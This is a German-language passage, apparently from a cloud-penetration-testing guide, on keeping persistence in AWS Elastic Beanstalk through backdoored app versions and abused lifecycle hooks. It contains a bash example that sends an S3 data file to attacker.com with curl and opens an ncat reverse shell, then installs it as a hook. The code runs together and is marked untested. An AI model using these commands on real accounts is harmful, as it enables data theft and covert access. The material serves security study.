Um die Persistenz im AWS-Konto aufrechtzuerhalten, könnte ein Persistenzmechanismus innerhalb der Instanz eingeführt werden (Cron-Job, SSH-Schlüssel...), damit der Angreifer darauf zugreifen und IAM-Rollen Anmeldeinformationen aus dem Metadatendienst stehlen kann.
Hintertür in der Version
Ein Angreifer könnte den Code im S3-Repository manipulieren, sodass er immer seine Hintertür ausführt und den erwarteten Code.
Neue hintertürige Version
Anstatt den Code in der aktuellen Version zu ändern, könnte der Angreifer eine neue hintertürige Version der Anwendung bereitstellen.
Missbrauch von benutzerdefinierten Ressourcen-Lebenszyklus-Hooks
TODO: Test
Elastic Beanstalk bietet Lebenszyklus-Hooks, mit denen Sie benutzerdefinierte Skripte während der Instanzbereitstellung und -beendigung ausführen können. Ein Angreifer könnte einen Lebenszyklus-Hook konfigurieren, um periodisch ein Skript auszuführen, das Daten exfiltriert oder den Zugriff auf das AWS-Konto aufrechterhält.
bashCopycode#Attackercreatesascriptthatexfiltratesdataandmaintainsaccessecho'#!/bin/bashaws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csvgzip /tmp/data.csvcurl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfilncat -e /bin/bash --ssl attacker-ip 12345'>stealthy_lifecycle_hook.sh# Attacker uploads the script to an S3 bucketawss3cpstealthy_lifecycle_hook.shs3://attacker-bucket/stealthy_lifecycle_hook.sh# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hookecho'Resources:AWSEBAutoScalingGroup:Metadata:AWS::ElasticBeanstalk::Ext:TriggerConfiguration:triggers:- name: stealthy-lifecycle-hookevents:- "autoscaling:EC2_INSTANCE_LAUNCH"- "autoscaling:EC2_INSTANCE_TERMINATE"target:ref: "AWS::ElasticBeanstalk::Environment"arn:Fn::GetAtt:- "AWS::ElasticBeanstalk::Environment"- "Arn"stealthyLifecycleHook:Type: AWS::AutoScaling::LifecycleHookProperties:AutoScalingGroupName:Ref: AWSEBAutoScalingGroupLifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHINGNotificationTargetARN:Ref: stealthy-lifecycle-hookRoleARN:Fn::GetAtt:- AWSEBAutoScalingGroup- Arn'>stealthy_lifecycle_hook.yaml# Attacker applies the new environment configurationaws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"